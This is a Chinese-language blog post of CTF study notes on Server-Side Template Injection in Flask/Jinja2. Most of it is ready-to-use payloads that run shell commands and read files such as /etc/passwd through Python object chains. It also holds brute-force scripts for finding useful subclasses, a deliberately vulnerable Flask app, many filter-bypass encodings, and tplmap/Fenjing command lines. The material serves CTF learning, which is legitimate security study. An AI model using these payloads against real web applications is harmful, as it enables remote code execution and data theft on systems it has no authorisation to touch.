SSTI模板注入

SSTI

主要参考了Lazzaro佬的文章,会不定期更新。

太多哩,晕倒。

SSTI (Server-Side Template Injection),即服务端模板注入攻击,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的。目前CTF常见的SSTI题中,环境多为python。

默认有python基础,可以先看看我之前写的flask库笔记。

1. python命令执行

os

(用于访问操作系统。通用操作:1.系统操作,2.目录操作,3.判断操作)

commands

(仅限2.x)

subprocess

(模块用于管理子进程。可以调用外部命令作为子进程,还可以生成新的进程,连接到它们的input/output/error管道,同时获取它们的返回码)

timeit:timeit.systimeit.timeit("__import__('os').system('whoami')",mode='r',bufsize=-1).read()

(时间模块,用于准确测量代码执行时间。该模块定义了三个实用函数和一个公共类。)

platform:platform.osplatform.sysplatform.popen('whoami',mode='r',bufsize=-1).read()

(该模块用于获取操作系统的相关信息。)

pty:pty.spawn('ls')pty.os

(该模块定义了处理伪终端的操作:启动另一个进程并能够以编程的方式写入和读取其控制终端。)

bdb:bdb.oscgi.sys

(标准调试器框架,提供了调试Python程序所需的基本接口和类。)

cgi:cgi.oscgi.sys

提供了用于处理CGI(Common Gateway Interface)脚本的工具

2. 基本操作

函数名.__globals__

__class__            类的一个内置属性,表示实例对象的类。
__base__             类型对象的直接基类
__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类。

__subclasses__()     返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__             初始化类,返回的类型是function
__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的模块、方法以及所有变量。查看所有键名:__globals__.keys()。
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app          应用上下文,一个全局变量。

request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.get('x1')   	 get请求参数x1
request.values 	 所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.get('x1')   	 post请求参数	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		 post传参	(Content-Type:a/b)
request.json		 post传json  (Content-Type: application/json)
config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

cycler     {{cycler.__init__.__globals__.os.popen('id').read()}}#id是linux指令
joiner     {{joiner.__init__.__globals__.os.popen('id').read()}}
namespace  {{namespace.__init__.__globals__.os.popen('id').read()}}

过滤器

int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}}list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
length():返回字符串的长度,别名是count。

测试器

{% if m is defined %}
	{{m}}
{% else %}
    999
{% endif %}

{% for i in range(10) %}
	{{i}}
{% endfor %}
from flask import Flask,url_for,request,render_template,make_response,redirect,jsonify,json,render_template_string
app = Flask(__name__)  # 用本脚本名实例化Flask对象

@app.route('/',methods=['GET','POST'])#url配置
def index():#视图函数
    template="""
    <!DOCTYPE html>
    <html>
    <head><meta charset='UTF-8'></head>
    <body>
    <h3>what can i say,%s</h3>
    </body>
    </html>
    """%(request.args.get('code'))
    return render_template_string(template,title='SSTI test')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=9901, debug=1)
import requests
import base64
for i in range(500):
    code='{{"".__class__.__mro__[1].__subclasses__()['+str(i)+']}}'
    res=requests.get(url='http://127.0.0.1:9901/?code='+code)
    if 'os._wrap' in res.text:
        print(i)
        #class获取当前类,mro获取基类,subclasses()获取子类,init初始化类,globals获取函数的方法,模块与变量
        code = '{{"".__class__.__mro__[1].__subclasses__()[%d].__init__.__globals__["popen"]("dir").read()}}'%(i)
        res = requests.get(url='http://127.0.0.1:9901/?code=' + code)
        print(res.text)

在这里插入图片描述

3. 命令执行

环境python 3.10

1. 利用eval命令执行

获取基类

''.__class__.__mro__[1] #object类,版本不同可能键不同
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] #针对jinjia2/flask为[9]适用

找到子类中重载过__init__的类,带wrapper的说明没有重载

{{().__class__.__mro__[1].__subclasses__()[99].__init__}}
<slot wrapper '__init__' of 'object' objects>

{{().__class__.__mro__[1].__subclasses__()[188].__init__}}
<function Repr.__init__ at 0x000001A2A8C57760>

查看其引用__builtins__:

builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块。

{{().__class__.__mro__[1].__subclasses__()[188].__init__.__globals__["builtins"]}}

利用eval进行命令执行

{{%27%27.__class__.__mro__[1].__subclasses__()[188].__init__.__globals__["__builtins__"]["eval"](%27__import__("os").popen("whoami").read()%27)}}

2. 利用linecache函数

linecache函数主要找system模块和os模块

找到linecache

import requests
import base64
import time
for i in range(500):
    time.sleep(0.1)
    code='{{"".__class__.__mro__[1].__subclasses__()['+str(i)+']}}'
    res=requests.get(url='http://127.0.0.1:9901/?code='+code)
    if 'wrapper' not in res.text:
        #class获取当前类,mro获取基类,subclasses()获取子类,init初始化类,globals获取函数的方法,模块与变量
        code = '{{"".__class__.__mro__[1].__subclasses__()[' + str(i) + '].__init__.__globals__.keys()}}'
        res = requests.get(url='http://127.0.0.1:9901/?code=' + code)
        if 'linecache' in res.text:
            print(i)#
"""
284 <class 'traceback.FrameSummary'>
285 <class 'traceback.TracebackException'>
345 <class 'inspect.BlockFinder'>
348 <class 'inspect.Parameter'>
349 <class 'inspect.BoundArguments'>
350 <class 'inspect.Signature'>
{{"".__class__.__mro__[1].__subclasses__()[285].__init__.__globals__['linecache']['os'].popen('dir').read()}} 有回显

{{"".__class__.__mro__[1].__subclasses__()[285].__init__.__globals__['linecache']['os']['system']('(dir)>>flag.txt')}} 相当于无回显,可以dns外带
"""

在这里插入图片描述

3. 仅限python2

利用commands

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')

利用file对象读取文件

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

4. 利用subprocess.Popen

手写脚本找到subprocess.Popen的位置

import time
import requests
for i in range(500):
    time.sleep(0.1)
    url="http://127.0.0.1:9901/?code={{\"\".__class__.__mro__[1].__subclasses__()[%d]}}"%(i)
    print(url)
    res=requests.get(url)
    if "subprocess.Popen" in res.text:
        print(i)#420
        break

?code={{"".__class__.__mro__[1].__subclasses__()[420]('dir',shell=True,stdout=-1).communicate()[0]}}

  • stdout=-1:这是一个参数,用于指定输出流的处理方式。在这里,-1 表示将输出流重定向到 subprocess.PIPE,以便在后续步骤中获取输出。

  • .communicate():这是 Popen 对象的一个方法,用于与子进程进行通信。它会等待子进程执行完毕,并返回一个元组,其中包含子进程的标准输出和标准错误输出。

在这里插入图片描述

之后用GBK解码得到内容。

5. 利用importlib

找到_frozen_importlib_external.FileLoader

python3用这个读文件

{{''.__class__.__bases__[0].__subclasses__()[119]['get_data'](0,'./flag.txt')}}

6. 利用任意字符串或者特殊变量

{{sss.__init__.__globals__.__builtins__.open("./flag.txt").read()}}
{{config.__class__.__init__.__globals__['os'].popen('dir').read()}}
{{request.application.__globals__['__builtins__']['__import__']('os').popen('dir').read()}}

4. 常见绕过

  • 中括号[]

使用pop()函数代替中括号来取出列表中的元素

{{config.__class__.__init__.__globals__.pop('os').popen('dir').read()}}

使用__getitem__取列表元素

{{config.__class__.__init__.__globals__.__getitem__('os').popen('dir').read()}}

unicode字符:[]﹇﹈

  • 引号''

request.args 是flask中的一个属性,为返回请求的参数,这里把a,b,c当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。

{{().__class__.__bases__.__getitem__(0).__subclasses__()[285].__init__.__globals__[request.args.a][request.args.b].popen(request.args.c).read()}}&a=linecache&c=dir&b=os

unicode字符:""''

  • 点号.

[]绕过

{{''['__class__']['__base__']['__subclasses__']()[285]['__init__']['__globals__']['linecache']['os']['popen']('dir')['read']()}}

过滤器绕过

遇到object,有时候要用一下__getitem__

{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(285)|attr('__init__')|attr('__globals__')|attr('__getitem__')('linecache')|attr('os')|attr('popen')('dir')|attr('read')()}}

__getitem__绕过

''.eval可以写成 ''|attr('__getitem__')('eval')

  • 下划线_

可以用dir(0)[0][0]

或者request.args.x1

或者request.values.x1并使用post传参绕过

或者request.cookies.x1x1=__class__; x2=__base__;等写在Cookie里传参

{{%27%27[request.args.class][request.args.mro][1][request.args.subclasses]()}}&class=__class__&mro=__mro__&subclasses=__subclasses__
  • 双花括号
{%if [expression]==[value]%} yes {%endif%}
{%print()%}

unicode字符:︷︷︸︸

  • 圆括号

unicode字符:⁽⁾₍₎

对函数执行方式重载,如 request.__class__.__getitem__=__builtins__.exec;,执行request[payload] 时相当于 exec(payload)

lambda表达式。

  • 数字

unicode字符:𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗𝟘𝟙𝟚𝟛𝟜𝟝𝟞𝟟𝟠𝟡0123456789

  • 对象层面

有点懵逼

  • set {}=None

    其他引用:

    {{% set config=None %}} => {{url_for.__globals__.current_app.config}}

    {{% set __builtins__=None %}} => {{[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__}}

  • del

    重载: reload(__builtins__)

  • 其他

    获得对应函数的上下文常量:func.__code__.co_consts

base 64

__getattribute__使用实例访问属性时,调用该方法。

例如被过滤掉__class__关键词:

python3.10运行不了,各位自行尝试

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

字符串拼接

yyy.__init__.__globals__.__builtins__|attr('__getit''em__')('ev''al')('__imp''ort__("o''s").po''pen("ls /").re''ad()')
[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()
[].__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["op"+"en"]("/fl"+"ag").read()

{%print config|attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))|attr('%c%c%c%c%c%c%c%c'|format(95,95,105,110,105,116,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))('o'+'s')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('ls')|attr('%c%c%c%c'|format(114,101,97,100))()%}

{%print(((lipsum[(session|string)[35:46]])[(session|string)[53:55]])[(session|string)[73:78]]((session|string)[85:139]))%}

反转

{{cycler['__tini__'[::-1]]['__slabolg__'[::-1]].os.popen('id').read()}}

{{"str1".__add__("str2")}}的方式

16进制

.__class__ => ["\x5f\x5fc\x6cass\x5f\x5f"]

8进制

.__class__ => ["\137\137\143\154\141\163\163\137\137"]
.__base__ => ["\137\137\142\141\163\145\137\137"]
.__subclasses__ => ["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]
.__init__ => ["\137\137\151\156\151\164\137\137"]
.__globals__ => ["\137\137\147\154\157\142\141\154\163\137\137"]
.__builtins__ => ["\137\137\142\165\151\154\164\151\156\163\137\137"]
.__import__ => ["\137\137\151\155\160\157\162\164\137\137"]
.popen => ["\160\157\160\145\156"]
.read => ["\162\145\141\144"]

unicode编码

.__class__ => ["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]

unicode字符/Non-ASCII Identifies

𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳
𝟘𝟙𝟚𝟛𝟜𝟝𝟞𝟟𝟠𝟡𝕒𝕓𝕔𝕕𝕖𝕗𝕘𝕙𝕚𝕛𝕜𝕝𝕞𝕟𝕠𝕡𝕢𝕣𝕤𝕥𝕦𝕧𝕨𝕩𝕪𝕫
0123456789

参考:https://www.compart.com/en/unicode/U+0030

学不动了,先这样

自动化工具

Fenjing

https://github.com/Marven11/Fenjing

python -m fenjing crack --method GET --inputs name --url 'http://xxx/'

tplmap

https://github.com/epinna/tplmap

/tplmap.py --os-cmd -u 'http://www.target.com/page?name=John'

参考文章

  1. SSTI Lazzaro

  2. SSTI-3 常用模块及利用方法 至清.

  3. 【WEB】SSTI | 狼组安全团队公开知识库 (wgpsec.org)

  4. CTF Pyjail 沙箱逃逸绕过合集 ddro**** - 先知社区 (aliyun.com)

  • 6
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值